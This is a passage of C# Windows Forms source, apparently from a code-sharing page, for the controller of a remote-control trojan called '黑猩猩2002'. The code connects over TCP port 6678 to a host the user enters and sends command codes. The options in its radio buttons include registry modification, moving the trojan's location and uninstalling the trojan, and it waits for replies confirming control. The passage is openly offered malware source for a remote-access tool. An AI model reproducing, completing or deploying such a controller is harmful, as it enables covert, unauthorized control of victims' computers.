📄 form1.cs
字号:
this.button9.Name = "button9";
this.button9.TabIndex = 0;
this.button9.Text = "控制生效";
this.button9.Click += new System.EventHandler(this.button9_Click);
//
// button10
//
this.button10.Location = new System.Drawing.Point(88, 88);
this.button10.Name = "button10";
this.button10.TabIndex = 1;
this.button10.Text = "保存记录";
this.button10.Click += new System.EventHandler(this.button10_Click);
//
// button11
//
this.button11.Location = new System.Drawing.Point(168, 88);
this.button11.Name = "button11";
this.button11.TabIndex = 2;
this.button11.Text = "查看记录";
this.button11.Click += new System.EventHandler(this.button11_Click);
//
// radioButton1
//
this.radioButton1.Location = new System.Drawing.Point(8, 17);
this.radioButton1.Name = "radioButton1";
this.radioButton1.TabIndex = 3;
this.radioButton1.Text = "修改注册表";
//
// radioButton2
//
this.radioButton2.Location = new System.Drawing.Point(120, 16);
this.radioButton2.Name = "radioButton2";
this.radioButton2.TabIndex = 4;
this.radioButton2.Text = "善意设置";
//
// radioButton3
//
this.radioButton3.Location = new System.Drawing.Point(8, 40);
this.radioButton3.Name = "radioButton3";
this.radioButton3.TabIndex = 5;
this.radioButton3.Text = "警告";
//
// radioButton4
//
this.radioButton4.Location = new System.Drawing.Point(120, 40);
this.radioButton4.Name = "radioButton4";
this.radioButton4.TabIndex = 6;
this.radioButton4.Text = "建议";
//
// radioButton5
//
this.radioButton5.Location = new System.Drawing.Point(8, 64);
this.radioButton5.Name = "radioButton5";
this.radioButton5.TabIndex = 7;
this.radioButton5.Text = "修改木马位置";
//
// radioButton6
//
this.radioButton6.Location = new System.Drawing.Point(120, 64);
this.radioButton6.Name = "radioButton6";
this.radioButton6.TabIndex = 8;
this.radioButton6.Text = "卸载木马";
//
// saveFileDialog1
//
this.saveFileDialog1.FileName = "doc1";
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(504, 317);
this.Controls.AddRange(new System.Windows.Forms.Control[] {
this.groupBox4,
this.groupBox3,
this.groupBox2,
this.groupBox1});
this.Name = "Form1";
this.Text = "黑猩猩2002";
this.groupBox1.ResumeLayout(false);
this.groupBox2.ResumeLayout(false);
this.groupBox3.ResumeLayout(false);
this.groupBox4.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
private void button3_Click(object sender, System.EventArgs e)
{
form2=new Form2();
form2.Show();
}
private void button4_Click(object sender, System.EventArgs e)
{
form3=new Form3();
form3.Show();
}
private void button5_Click(object sender, System.EventArgs e)
{
jingga="jg0000";
}
private void button6_Click(object sender, System.EventArgs e)
{
jianyi="jy0000";
}
private void button7_Click(object sender, System.EventArgs e)
{
form4 =new Form4();
form4.Show();
}
private void button8_Click(object sender, System.EventArgs e)
{
xiezai="xz0000";
}
private void button1_Click(object sender, System.EventArgs e)
{
richTextBox1.AppendText("请求连接"+textBox1.Text+"\r");
int port= 6678;
try
{
client=new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线上!确定是否未输入主机名称。");
richTextBox1.AppendText("服务器不在线上!确定是否未输入主机名称。"+"\r");
}
}
private void button2_Click(object sender, System.EventArgs e)
{
richTextBox1.AppendText("测试连接"+"\r");
try
{
stream=client.GetStream();
if(stream.CanWrite)
{
string control="jiance";
byte[] by=System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
stream.Flush();
ssss=new Thread(new ThreadStart(receive));
ssss.Start();
}//if(stream.CanWrite)
}//try
catch (Exception ee)
{
richTextBox1.AppendText(ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
public void receive()
{
byte[] bb=new byte[3];
int i=stream.Read(bb,0,3);
string ss=System.Text.Encoding.ASCII.GetString(bb);
if(ss=="hjc")
{
MessageBox.Show("连接成功!");
richTextBox1.AppendText("与"+textBox1.Text+"连接成功。"+"\r");
}
if(ss=="hkz")
{
richTextBox1.AppendText(control+"控制成功!"+"\r");
MessageBox.Show(control+"控制成功!");
}
}
private void button9_Click(object sender, System.EventArgs e)
{
if(radioButton1.Checked){control=form2.zhucex;}
else if(radioButton2.Checked){control=form3.zhuces;}
else if(radioButton3.Checked){control=jingga;}
else if(radioButton4.Checked){control=jianyi;}
else if(radioButton5.Checked){control=form4.mumawe;}
else if(radioButton6.Checked){control=xiezai;}
if(control=="000000")
{
MessageBox.Show("您没有选择任何控制目标!不发控制信号!");
richTextBox1.AppendText("您没有选择任何控制目标!不发控制信号!"+"\r");
}
else if(control!="000000")
{
try
{
richTextBox1.AppendText(control+"正在试图控制,等待回应......"+"\r");
stream=client.GetStream();
if(stream.CanWrite)
{
byte[] by=System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
stream.Flush();
ssss=new Thread(new ThreadStart(receive));
ssss.Start();}//if(stream.CanWrite)
}//try
catch
{
richTextBox1.AppendText("服务器未连接!控制无效!"+"\r");
MessageBox.Show("服务器未连接!控制无效!"+"\r");
}
}//else if(control!="000000"){
}
private void button10_Click(object sender, System.EventArgs e)
{
StreamWriter sw=null;
if(saveFileDialog1.ShowDialog()==DialogResult.OK)
{
try
{
sw=new StreamWriter(saveFileDialog1.FileName,false,System.Text.Encoding.Unicode);
sw.Write(richTextBox1.Text);}
catch(Exception excep){MessageBox.Show(excep.Message);}
finally{if(sw!=null){sw.Close();}
}//对应finally{
} //对应if(saveFileDialog1.ShowDialog()==DialogResult.OK)
}
private void button11_Click(object sender, System.EventArgs e)
{
string aa;
if(openFileDialog1.ShowDialog()==DialogResult.OK)
{
aa=File.OpenText(openFileDialog1.FileName).ReadToEnd();
richTextBox1.AppendText(aa);
File.OpenText(openFileDialog1.FileName).Close();
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -